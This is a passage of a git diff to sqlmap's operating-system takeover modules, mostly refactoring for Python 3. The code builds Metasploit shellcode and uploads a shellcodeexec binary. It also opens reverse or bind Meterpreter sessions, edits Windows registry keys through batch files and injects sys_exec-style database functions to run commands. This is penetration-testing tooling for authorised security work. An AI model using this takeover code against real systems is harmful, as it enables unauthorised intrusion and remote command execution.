-u\n") + send_all(proc, "getuid\n") - def __controlMsfCmd(self, proc, func): + def _controlMsfCmd(self, proc, func): + initialized = False + start_time = time.time() stdin_fd = sys.stdin.fileno() - setNonBlocking(stdin_fd) - - proc_out_fd = proc.stdout.fileno() - setNonBlocking(proc_out_fd) while True: returncode = proc.poll() @@ -450,127 +503,176 @@ def __controlMsfCmd(self, proc, func): return returncode try: - ready_fds = select([stdin_fd, proc_out_fd], [], [], 1) - - if stdin_fd in ready_fds[0]: - try: - proc.stdin.write(blockingReadFromFD(stdin_fd)) - except IOError: - # Probably the child has exited - pass - - if proc_out_fd in ready_fds[0]: - out = blockingReadFromFD(proc_out_fd) - blockingWriteToFD(sys.stdout.fileno(), out) - - # For --os-pwn and --os-bof - pwnBofCond = self.connectionStr.startswith("reverse") - pwnBofCond &= "Starting the payload handler" in out - - # For --os-smbrelay - smbRelayCond = "Server started" in out + if IS_WIN: + timeout = 3 - if pwnBofCond or smbRelayCond: - func() + inp = b"" + _ = time.time() - if "Starting the payload handler" in out and "shell" in self.payloadStr: - if Backend.isOs(OS.WINDOWS): - proc.stdin.write("whoami\n") - else: - proc.stdin.write("uname -a ; id\n") + while True: + if msvcrt.kbhit(): + char = msvcrt.getche() - metSess = re.search("Meterpreter session ([\d]+) opened", out) + if ord(char) == 13: # enter_key + break + elif ord(char) >= 32: # space_char + inp += char - if metSess: - self.__loadMetExtensions(proc, metSess.group(1)) - - except EOFError: - returncode = proc.wait() + if len(inp) == 0 and (time.time() - _) > timeout: + break - return returncode + if len(inp) > 0: + try: + send_all(proc, inp) + except (EOFError, IOError): + # Probably the child has exited + pass + else: + ready_fds = select.select([stdin_fd], [], [], 1) + + if stdin_fd in ready_fds[0]: + try: + send_all(proc, blockingReadFromFD(stdin_fd)) + except (EOFError, IOError): + # Probably the child has exited + pass + + out = recv_some(proc, t=.1, e=0) + blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) + + # For --os-pwn and --os-bof + pwnBofCond = self.connectionStr.startswith("reverse") + pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) + + # For --os-smbrelay + smbRelayCond = b"Server started" in out + + if pwnBofCond or smbRelayCond: + func() + + timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT + + if not initialized: + match = re.search(b"Meterpreter session ([\\d]+) opened", out) + + if match: + self._loadMetExtensions(proc, match.group(1)) + + if "shell" in self.payloadStr: + send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") + time.sleep(2) + + initialized = True + elif timeout: + proc.kill() + errMsg = "timeout occurred while attempting " + errMsg += "to open a remote session" + raise SqlmapGenericException(errMsg) + + except select.error as ex: + # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f + if ex.args[0] == errno.EINTR: + continue + else: + return proc.returncode + except (EOFError, IOError): + return proc.returncode + except KeyboardInterrupt: + pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) - self.__randStr = randomStr(lowercase=True) - self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr) + self._randStr = randomStr(lowercase=True) + self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) - self.__initVars() - self.__prepareIngredients(encode=encode) - self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra) + Metasploit._initVars(self) + self._prepareIngredients(encode=encode) + self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) - logger.debug("executing local command: %s" % self.__payloadCmd) - process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) + logger.debug("executing local command: %s" % self._payloadCmd) + process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] - if Backend.isOs(OS.WINDOWS) or extra == "BufferRegister=EAX": - payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) - else: - payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) + match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) - if payloadSize: - payloadSize = int(payloadSize.group(1)) + if match: + payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": - payloadSize = payloadSize / 2 + payloadSize = payloadSize // 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: - errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "") - raise sqlmapFilePathException, errMsg + errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") + raise SqlmapFilePathException(errMsg) - self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb") - self.shellcodeString = self.__shellcodeFP.read() - self.__shellcodeFP.close() + self._shellcodeFP = open(self._shellcodeFilePath, "rb") + self.shellcodeString = getText(self._shellcodeFP.read()) + self._shellcodeFP.close() - os.unlink(self.__shellcodeFilePath) + os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): - self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH + self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): - self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32" + self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") + content = decloak(self.shellcodeexecLocal) + if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: + content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) + _ = cloak(data=content) + handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") + os.close(handle) + with open(self.shellcodeexecLocal, "w+b") as f: + f.write(_) else: - self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() + self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) - # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName - #__basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") - __basename = os.path.basename(self.shellcodeexecLocal) - - if web: - self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) - else: - self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) + __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") + self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: - self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory) + written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) + else: + written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) + + if written is not True: + errMsg = "there has been a problem uploading shellcodeexec. It " + errMsg += "looks like the binary file has not been written " + errMsg += "on the database underlying file system or an AV has " + errMsg += "flagged it as malicious and removed it" + logger.error(errMsg) + + return False else: - self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary") + logger.info("shellcodeexec successfully uploaded") + return True def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" - func = self.__runMsfShellcodeRemote + func = self._runMsfShellcodeRemote else: exitfunc = "process" - func = self.__runMsfShellcodeRemoteViaSexec + func = self._runMsfShellcodeRemoteViaSexec - self.__runMsfCli(exitfunc=exitfunc) + self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " - debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) + debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: @@ -578,26 +680,26 @@ def pwn(self, goUdf=False): self.delRemoteFile(self.shellcodeexecRemote) def smb(self): - self.__initVars() - self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True) + Metasploit._initVars(self) + self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) - self.__runMsfCliSmbrelay() + self._runMsfCliSmbrelay() - if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): - self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: - self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) + self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " - debugMsg += "code %s" % self.__controlMsfCmd(self.__msfCliProc, self.uncPathRequest) + debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): - self.__runMsfCli(exitfunc="seh") + self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " - debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow) + debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 07b120f375c..5abec5fabc3 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,83 +1,85 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os +from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import REGISTRY_OPERATION -class Registry: +class Registry(object): """ This class defines methods to read and write Windows registry keys """ - def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False): - self.__regKey = regKey - self.__regValue = regValue - self.__regType = regType - self.__regData = regData + def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): + self._regKey = regKey + self._regValue = regValue + self._regType = regType + self._regData = regData - self.__randStr = randomStr(lowercase=True) - self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr) - self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr) + self._randStr = randomStr(lowercase=True) + self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) + self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: - readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" + readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: - readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" + readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" - self.__batRead = ( - "@ECHO OFF\r\n", - readParse - ) + self._batRead = ( + "@ECHO OFF\r\n", + readParse, + ) - self.__batAdd = ( - "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData) - ) + self._batAdd = ( + "@ECHO OFF\r\n", + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), + ) - self.__batDel = ( - "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) - ) + self._batDel = ( + "@ECHO OFF\r\n", + "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), + ) - def __createLocalBatchFile(self): - self.__batPathFp = open(self.__batPathLocal, "w") + def _createLocalBatchFile(self): + self._batPathFp = openFile(self._batPathLocal, "w") - if self.__operation == "read": - lines = self.__batRead - elif self.__operation == "add": - lines = self.__batAdd - elif self.__operation == "delete": - lines = self.__batDel + if self._operation == REGISTRY_OPERATION.READ: + lines = self._batRead + elif self._operation == REGISTRY_OPERATION.ADD: + lines = self._batAdd + elif self._operation == REGISTRY_OPERATION.DELETE: + lines = self._batDel for line in lines: - self.__batPathFp.write(line) + self._batPathFp.write(line) - self.__batPathFp.close() + self._batPathFp.close() - def __createRemoteBatchFile(self): - logger.debug("creating batch file '%s'" % self.__batPathRemote) + def _createRemoteBatchFile(self): + logger.debug("creating batch file '%s'" % self._batPathRemote) - self.__createLocalBatchFile() - self.writeFile(self.__batPathLocal, self.__batPathRemote, "text") + self._createLocalBatchFile() + self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) - os.unlink(self.__batPathLocal) + os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): - self.__operation = "read" + self._operation = REGISTRY_OPERATION.READ - self.__initVars(regKey, regValue, parse=parse) - self.__createRemoteBatchFile() + Registry._initVars(self, regKey, regValue, parse=parse) + self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) - data = self.evalCmd(self.__batPathRemote) + data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' @@ -85,32 +87,32 @@ def readRegKey(self, regKey, regValue, parse=False): if index != -1: data = data[index + len(pattern):] - self.delRemoteFile(self.__batPathRemote) + self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): - self.__operation = "add" + self._operation = REGISTRY_OPERATION.ADD - self.__initVars(regKey, regValue, regType, regData) - self.__createRemoteBatchFile() + Registry._initVars(self, regKey, regValue, regType, regData) + self._createRemoteBatchFile() - debugMsg = "adding registry key value '%s' " % self.__regValue - debugMsg += "to registry key '%s'" % self.__regKey + debugMsg = "adding registry key value '%s' " % self._regValue + debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) - self.execCmd(cmd=self.__batPathRemote) - self.delRemoteFile(self.__batPathRemote) + self.execCmd(cmd=self._batPathRemote) + self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): - self.__operation = "delete" + self._operation = REGISTRY_OPERATION.DELETE - self.__initVars(regKey, regValue) - self.__createRemoteBatchFile() + Registry._initVars(self, regKey, regValue) + self._createRemoteBatchFile() - debugMsg = "deleting registry key value '%s' " % self.__regValue - debugMsg += "from registry key '%s'" % self.__regKey + debugMsg = "deleting registry key value '%s' " % self._regValue + debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) - self.execCmd(cmd=self.__batPathRemote) - self.delRemoteFile(self.__batPathRemote) + self.execCmd(cmd=self._batPathRemote) + self.delRemoteFile(self._batPathRemote) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index a6fe79dc407..36192805ea5 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,34 +1,36 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent -from lib.core.common import dataToStdout from lib.core.common import Backend -from lib.core.common import isTechniqueAvailable +from lib.core.common import checkFile +from lib.core.common import dataToStdout +from lib.core.common import isDigit +from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf -from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS -from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject -class UDF: +class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. @@ -39,33 +41,24 @@ def __init__(self): self.udfs = {} self.udfToCreate = set() - def __askOverwriteUdf(self, udf): + def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - if output and output[0] in ("y", "Y"): - return True - else: - return False + return readInput(message, default='N', boolean=True) - def __checkExistUdf(self, udf): + def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) - exists = inject.getValue(query, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if exists == "1": - return True - else: - return False + return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): - exists = self.__checkExistUdf(udf) + exists = self._checkExistUdf(udf) overwrite = True if exists: - overwrite = self.__askOverwriteUdf(udf) + overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) @@ -89,7 +82,7 @@ def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" - cmd = unescaper.unescape(self.udfForgeCmd(cmd)) + cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) @@ -108,22 +101,16 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): output = new_output else: - cmd = unescaper.unescape(self.udfForgeCmd(cmd)) + cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) + output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) - if output and isinstance(output, (list, tuple)): - output = output[0] - - if output and isinstance(output, (list, tuple)): - output = output[0] - return output def udfCheckNeeded(self): - if ( not conf.rFile or ( conf.rFile and not Backend.isDbms(DBMS.PGSQL) ) ) and "sys_fileread" in self.sysUdfs: + if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: @@ -137,17 +124,19 @@ def udfCheckNeeded(self): def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) - def udfCreateFromSharedLib(self, udf=None, inpRet=None): + def udfCreateFromSharedLib(self, udf, inpRet): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): + written = False + for udf in udfDict.keys(): if udf in self.createdUdf: continue @@ -156,7 +145,24 @@ def udfInjectCore(self, udfDict): if len(self.udfToCreate) > 0: self.udfSetRemotePath() - self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary") + checkFile(self.udfLocalFile) + written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) + + if written is not True: + errMsg = "there has been a problem uploading the shared library, " + errMsg += "it looks like the binary file has not been written " + errMsg += "on the database underlying file system" + logger.error(errMsg) + + message = "do you want to proceed anyway? Beware that the " + message += "operating system takeover will fail [y/N] " + + if readInput(message, default='N', boolean=True): + written = True + else: + return False + else: + return True for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: @@ -169,56 +175,61 @@ def udfInjectCore(self, udfDict): self.udfCreateSupportTbl(supportTblType) + return written + def udfInjectSys(self): self.udfSetLocalPaths() self.udfCheckNeeded() - self.udfInjectCore(self.sysUdfs) + return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): - if Backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ): - errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms() - raise sqlmapUnsupportedFeatureException(errMsg) + if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): + errMsg = "UDF injection feature only works on MySQL and PostgreSQL" + logger.error(errMsg) + return - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: + if not isStackingAvailable() and not conf.direct: + errMsg = "UDF injection feature requires stacked queries SQL injection" + logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): - warnMsg = "the functionality requested might not work because " - warnMsg += "the session user is not a database administrator" - logger.warn(warnMsg) + warnMsg = "functionality requested probably does not work because " + warnMsg += "the current session user is not a database administrator" + logger.warning(warnMsg) if not conf.shLib: - msg = "which is the local path of the shared library? " + msg = "what is the local path of the shared library? " while True: - self.udfLocalFile = readInput(msg) + self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break else: - logger.warn("you need to specify the local path of the shared library") + logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" - raise sqlmapFilePathException(errMsg) + raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] @@ -227,9 +238,9 @@ def udfInjectCustom(self): msg += "from the shared library? " while True: - udfCount = readInput(msg, default=1) + udfCount = readInput(msg, default='1') - if isinstance(udfCount, basestring) and udfCount.isdigit(): + if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: @@ -237,23 +248,19 @@ def udfInjectCustom(self): return else: break - - elif isinstance(udfCount, int): - break - else: - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") - for x in range(0, udfCount): + for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) - udfName = readInput(msg) + udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} break else: - logger.warn("you need to specify the name of the UDF") + logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" @@ -262,32 +269,28 @@ def udfInjectCustom(self): self.udfs[udfName]["input"] = [] - default = 1 msg = "how many input parameters takes UDF " - msg += "'%s'? (default: %d) " % (udfName, default) + msg += "'%s'? (default: 1) " % udfName while True: - parCount = readInput(msg, default=default) + parCount = readInput(msg, default='1') - if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0: + if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break - elif isinstance(parCount, int): - break - else: - logger.warn("invalid value, only digits >= 0 are allowed") + logger.warning("invalid value, only digits >= 0 are allowed") - for y in range(0, parCount): + for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: - parType = readInput(msg, default=defaultType) + parType = readInput(msg, default=defaultType).strip() - if isinstance(parType, basestring) and parType.isdigit(): - logger.warn("you need to specify the data-type of the parameter") + if parType.isdigit(): + logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) @@ -299,24 +302,28 @@ def udfInjectCustom(self): while True: retType = readInput(msg, default=defaultType) - if isinstance(retType, basestring) and retType.isdigit(): - logger.warn("you need to specify the data-type of the return value") + if hasattr(retType, "isdigit") and retType.isdigit(): + logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break - self.udfInjectCore(self.udfs) + success = self.udfInjectCore(self.udfs) + + if success is False: + self.cleanup(udfDict=self.udfs) + return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " - choice = readInput(msg, default="Y") + choice = readInput(msg, default='Y').upper() - if choice[0] in ( "n", "N" ): + if choice == 'N': self.cleanup(udfDict=self.udfs) return - elif choice[0] in ( "q", "Q" ): + elif choice == 'Q': self.cleanup(udfDict=self.udfs) - raise sqlmapUserQuitException + raise SqlmapUserQuitException while True: udfList = [] @@ -329,19 +336,20 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg) + choice = readInput(msg, default=None, checkBatch=False).upper() - if choice and choice[0] in ( "q", "Q" ): + if choice == 'Q': break - elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): - break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) - logger.warn(warnMsg) + logger.warning(warnMsg) + + if not isinstance(choice, int): + break cmd = "" count = 1 @@ -352,7 +360,7 @@ def udfInjectCustom(self): msg += "%d (data-type: %s)? " % (count, inp) while True: - parValue = readInput(msg) + parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: @@ -362,16 +370,15 @@ def udfInjectCustom(self): break else: - logger.warn("you need to specify the value of the parameter") + logger.warning("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] in ("y", "Y"): + if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: @@ -382,9 +389,8 @@ def udfInjectCustom(self): self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] not in ("y", "Y"): + if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index ee22db5ad40..321840a8e4a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,51 +1,77 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs +import io import os import posixpath import re +import tempfile from extra.cloak.cloak import decloak from lib.core.agent import agent +from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import decloakToNamedTemporaryFile from lib.core.common import extractRegexResult -from lib.core.common import getDirs -from lib.core.common import getDocRoot -from lib.core.common import ntToPosixSlashes +from lib.core.common import getAutoDirectories +from lib.core.common import getManualDirectories +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSQLSnippet +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes +from lib.core.common import openFile +from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import hexencode +from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import OrderedSet +from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.enums import WEB_PLATFORM +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT +from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import SHELL_RUNCMD_EXE_TAG +from lib.core.settings import SHELL_WRITABLE_DIR_TAG +from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request +from thirdparty.six.moves import urllib as _urllib - -class Web: +class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): - self.webApi = None + 